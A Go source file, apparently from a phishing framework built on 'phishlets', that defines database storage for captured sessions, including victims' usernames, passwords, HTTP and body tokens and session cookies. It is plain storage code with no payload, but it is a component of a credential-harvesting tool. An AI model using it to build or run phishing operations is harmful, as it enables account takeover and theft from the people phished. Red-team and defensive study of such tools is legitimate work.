226 lines
5.6 KiB
Go
226 lines
5.6 KiB
Go
package database
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"time"
|
|
|
|
"github.com/tidwall/buntdb"
|
|
)
|
|
|
|
const SessionTable = "sessions"
|
|
|
|
type Session struct {
|
|
Id int `json:"id"`
|
|
Phishlet string `json:"phishlet"`
|
|
LandingURL string `json:"landing_url"`
|
|
Username string `json:"username"`
|
|
Password string `json:"password"`
|
|
Custom map[string]string `json:"custom"`
|
|
BodyTokens map[string]string `json:"body_tokens"`
|
|
HttpTokens map[string]string `json:"http_tokens"`
|
|
CookieTokens map[string]map[string]*CookieToken `json:"tokens"`
|
|
SessionId string `json:"session_id"`
|
|
UserAgent string `json:"useragent"`
|
|
RemoteAddr string `json:"remote_addr"`
|
|
CreateTime int64 `json:"create_time"`
|
|
UpdateTime int64 `json:"update_time"`
|
|
}
|
|
|
|
type CookieToken struct {
|
|
Name string
|
|
Value string
|
|
Path string
|
|
HttpOnly bool
|
|
}
|
|
|
|
func (d *Database) sessionsInit() {
|
|
d.db.CreateIndex("sessions_id", SessionTable+":*", buntdb.IndexJSON("id"))
|
|
d.db.CreateIndex("sessions_sid", SessionTable+":*", buntdb.IndexJSON("session_id"))
|
|
}
|
|
|
|
func (d *Database) sessionsCreate(sid string, phishlet string, landing_url string, useragent string, remote_addr string) (*Session, error) {
|
|
_, err := d.sessionsGetBySid(sid)
|
|
if err == nil {
|
|
return nil, fmt.Errorf("session already exists: %s", sid)
|
|
}
|
|
|
|
id, _ := d.getNextId(SessionTable)
|
|
|
|
s := &Session{
|
|
Id: id,
|
|
Phishlet: phishlet,
|
|
LandingURL: landing_url,
|
|
Username: "",
|
|
Password: "",
|
|
Custom: make(map[string]string),
|
|
BodyTokens: make(map[string]string),
|
|
HttpTokens: make(map[string]string),
|
|
CookieTokens: make(map[string]map[string]*CookieToken),
|
|
SessionId: sid,
|
|
UserAgent: useragent,
|
|
RemoteAddr: remote_addr,
|
|
CreateTime: time.Now().UTC().Unix(),
|
|
UpdateTime: time.Now().UTC().Unix(),
|
|
}
|
|
|
|
jf, _ := json.Marshal(s)
|
|
|
|
err = d.db.Update(func(tx *buntdb.Tx) error {
|
|
tx.Set(d.genIndex(SessionTable, id), string(jf), nil)
|
|
return nil
|
|
})
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return s, nil
|
|
}
|
|
|
|
func (d *Database) sessionsList() ([]*Session, error) {
|
|
sessions := []*Session{}
|
|
err := d.db.View(func(tx *buntdb.Tx) error {
|
|
tx.Ascend("sessions_id", func(key, val string) bool {
|
|
s := &Session{}
|
|
if err := json.Unmarshal([]byte(val), s); err == nil {
|
|
sessions = append(sessions, s)
|
|
}
|
|
return true
|
|
})
|
|
return nil
|
|
})
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return sessions, nil
|
|
}
|
|
|
|
func (d *Database) sessionsUpdateUsername(sid string, username string) error {
|
|
s, err := d.sessionsGetBySid(sid)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
s.Username = username
|
|
s.UpdateTime = time.Now().UTC().Unix()
|
|
|
|
err = d.sessionsUpdate(s.Id, s)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) sessionsUpdatePassword(sid string, password string) error {
|
|
s, err := d.sessionsGetBySid(sid)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
s.Password = password
|
|
s.UpdateTime = time.Now().UTC().Unix()
|
|
|
|
err = d.sessionsUpdate(s.Id, s)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) sessionsUpdateCustom(sid string, name string, value string) error {
|
|
s, err := d.sessionsGetBySid(sid)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
s.Custom[name] = value
|
|
s.UpdateTime = time.Now().UTC().Unix()
|
|
|
|
err = d.sessionsUpdate(s.Id, s)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) sessionsUpdateBodyTokens(sid string, tokens map[string]string) error {
|
|
s, err := d.sessionsGetBySid(sid)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
s.BodyTokens = tokens
|
|
s.UpdateTime = time.Now().UTC().Unix()
|
|
|
|
err = d.sessionsUpdate(s.Id, s)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) sessionsUpdateHttpTokens(sid string, tokens map[string]string) error {
|
|
s, err := d.sessionsGetBySid(sid)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
s.HttpTokens = tokens
|
|
s.UpdateTime = time.Now().UTC().Unix()
|
|
|
|
err = d.sessionsUpdate(s.Id, s)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) sessionsUpdateCookieTokens(sid string, tokens map[string]map[string]*CookieToken) error {
|
|
s, err := d.sessionsGetBySid(sid)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
s.CookieTokens = tokens
|
|
s.UpdateTime = time.Now().UTC().Unix()
|
|
|
|
err = d.sessionsUpdate(s.Id, s)
|
|
return err
|
|
}
|
|
|
|
func (d *Database) sessionsUpdate(id int, s *Session) error {
|
|
jf, _ := json.Marshal(s)
|
|
|
|
err := d.db.Update(func(tx *buntdb.Tx) error {
|
|
tx.Set(d.genIndex(SessionTable, id), string(jf), nil)
|
|
return nil
|
|
})
|
|
return err
|
|
}
|
|
|
|
func (d *Database) sessionsDelete(id int) error {
|
|
err := d.db.Update(func(tx *buntdb.Tx) error {
|
|
_, err := tx.Delete(d.genIndex(SessionTable, id))
|
|
return err
|
|
})
|
|
return err
|
|
}
|
|
|
|
func (d *Database) sessionsGetById(id int) (*Session, error) {
|
|
s := &Session{}
|
|
err := d.db.View(func(tx *buntdb.Tx) error {
|
|
found := false
|
|
err := tx.AscendEqual("sessions_id", d.getPivot(map[string]int{"id": id}), func(key, val string) bool {
|
|
json.Unmarshal([]byte(val), s)
|
|
found = true
|
|
return false
|
|
})
|
|
if !found {
|
|
return fmt.Errorf("session ID not found: %d", id)
|
|
}
|
|
return err
|
|
})
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return s, nil
|
|
}
|
|
|
|
func (d *Database) sessionsGetBySid(sid string) (*Session, error) {
|
|
s := &Session{}
|
|
err := d.db.View(func(tx *buntdb.Tx) error {
|
|
found := false
|
|
err := tx.AscendEqual("sessions_sid", d.getPivot(map[string]string{"session_id": sid}), func(key, val string) bool {
|
|
json.Unmarshal([]byte(val), s)
|
|
found = true
|
|
return false
|
|
})
|
|
if !found {
|
|
return fmt.Errorf("session not found: %s", sid)
|
|
}
|
|
return err
|
|
})
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return s, nil
|
|
}
|